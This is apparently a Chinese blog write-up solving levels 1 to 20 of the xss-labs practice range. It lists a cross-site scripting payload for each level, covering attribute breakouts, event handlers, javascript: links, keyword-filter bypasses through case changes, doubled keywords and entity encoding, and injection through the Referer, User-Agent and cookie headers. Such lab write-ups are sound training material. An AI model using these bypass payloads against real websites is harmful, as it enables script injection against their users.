xss-labs

level-01

发现这道题有get请求,参数为name, 直接构造payload

1
name=<script>alert('xss')</script>

level-02

1
2
3
当提交 keyword=<script>alert('xss')</script>的时候,查看源码显示<input name=keyword  value="<script>alert('xss')</script>">,很显然此时没有闭合,js代码必定不会被执行。

keyword="/><script>alert('XSS')</script>// 时,将前面input标签进行了闭合,然后 // 注释掉了原来后面的内容,js代码被JavaScript引擎执行。

level-03

继续按照第二关的注入方式,发现后台对尖括号进行了过滤,那尝试不用尖括号。两种方式:

1
2
1.'onclick='alert(/xss/)      #标准格式:onclick='alert(/xss/)',点击输入框触发
2.'onmouseover='alert(/xss/) #标准格式:onmouseover='alert(/xss/)' ,鼠标移动到输入框触发

看了别人的wp,这里顺便解释一下htmlspecialchars()函数:

1
2
3
4
5
6
7
8
htmlspecialchars()函数把预定义的字符转换为HTML实体

预定义的字符为:
& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 '
< (小于)成为 &lt;
> (大于)成为 &gt;

level-04

和第三关基本上是类似的,这道题只需要把单引号改为双引号就行了。

1
2
1."onclick="alert(/xss/)      
2."onmouseover="alert(/xss/)

level-05

直接按照第四关那样注入,出现了:

按照第二关注入,出现了:

尝试使用大小写转换,发现结果仍然一样。可以确定后台对script和on都进行了过滤。按照网上的提示使用编码的方式进行绕过过滤,发现网页无法识别。仔细思量,会发现此时尖括号并没有被过滤。于是可以构造payload:

1
"/><a href="javascript:alert(/xss/)"/>链接</a>//

此时点击超链接,就可进入下一关。

level-06

按照第五关进行注入,出现:

对href进行了过滤,变换大小写发现成功了。

1
"/><a Href='javascript:alert(/xss/)'>链接</a>//

level-07

这一关过滤了script、on、src、data、href等关键字。大小写也不能绕过。

1
2
1. "/><a hrhrefef="javascscriptript:alert(/xss/)">a</a>//
2. "/><scscriptript>alert(/xss/)</scscriptript>//

通过重复关键字绕过过滤。

level-08

根据友情链接 进行恶意js构造,发现仍然过滤掉了很多东西,大小写、重复写都没有什么用处。然后想到了对关键字部分进行编码操作。

1
unicode编码:javascrip&#116;:alert(/xss/)  # 只需对最后一个单词t进行编码即可

level-09

按照上一关进行注入,竟然直接显示:

发现只要添上 http:// 就不会这样显示。

1
2
1. javascrip&#116;:alert(/xss/)//http://
2. javascrip&#116;:%0dhttp://%0dalert(/xss/)

level-10

看起来有点棘手。页面中没有任何可以点击的元素。但是会发现form表单里面有三个隐藏的input参数。

为了找到注入点,可以分别对这些参数进行get传参。

1
?keyword=1&t_link=1&t_history=1&t_sort=1

发现只有第三个input处的value被附了值。故可以确认此为注入点。

但是此处过滤了尖括号。按照第四关进行注入:

1
?t_sort="type="text" onmouseover="alert(/xss/)

其中type类型可有多种选择:text、radio、button、submit等。

level-11

从这一关开始,注入点就变了。用上工具burpsuit是很有必要的。

查看元素,发现t_ref参数处的值是第10关处构造的url,则说明后台读取了HTT[请求包的Referer,并写入了HTML页面。

所以只需要利用工具HackBar,修改referer的值为:

1
" type="text" onmouseover="alert(/xss/)

level-12

查看元素,发现t_ua后面value里面的参数和User-Agent里面的一模一样,则注入点可以确定在此。

所以只需要利用工具HackBar,修改User-Agent的值为:

1
" type="text" onmouseover="alert(/xss/)

level-13

根据返回的html判断cookie字段为web页面的自定义变量,则注入点可以确定在此。

所以只需要利用工具HackBar,修改cookies的值为:

1
user=" type="text" onmouseover="alert(/xss/)

level-14

14关绝了,一直在加载。给的那个 http://www.exifviewer.org/ 也访问不了。

查了好多的wp,都是直接跳过这关了。

本关属于exif XSS,需要上传一个含有xss代码的图片触发xss。

具体wp参考:巨人肩膀上的矮子

level-15

很明显,本关的注入点在 src 那块.

1
2
3
4
AngularJS ng-include指令:
用于包含外部的HTML文件,包含的内容将作为指定元素的子节点。
ng-include属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。

后台源码显示nginclude调用采用htmlspecialchars过滤输入的src变量,直接在包含的页面里用<script>触发不了,用了img标签。

1
src='level1.php?name=<img src=x onerror=alert(/xss/)>

level-16

很容易发现keyword处存在注入。多次尝试发现过滤了script、空格和 /,

用换行符 %0a 取代空格,构造payload:

1
keyword=<img%0asrc=x%0aonerror=alert(1)>

level-17

arg01和arg01的变量存在注入。当输入arg01=c&arg02=bdaerfre,显示:

本题过滤了尖括号和双引号,用on关键字触发。

1
arg01=a&arg02=b onmouseover=alert(/xss/)

但是这里有个小问题需要注意一下,就算你这道题做对了,他也没有任何弹窗的提示,因为火狐不能打开swf后缀的文件,换个IE或者360浏览器就可以了。

level-18

和上道题基本上一样,唯一不同的就是对双引号进行了过滤。构造的payload同上。

level-19

属于flash XSS,目前还不懂。

level-20

同样属于flash XSS,需要反编译,不会。


靶场地址:https://github.com/paralax/xss-labs ,最近发现靶场源码被删了。嘿嘿,幸好早就放进了网盘。

链接:https://pan.baidu.com/s/1cj13lPUs1MbMvLKmEY-pqw
提取码:6p2d。

需要注意一个我自己遇到的问题,在搭好环境后,我的burpsuit无法抓到包。但是其他的网页就可以。后来才找到了办法:

为了方便切换多个代理设置,我用了插件 Procxy SwitchyOmega 

-------------本文结束感谢您的阅读-------------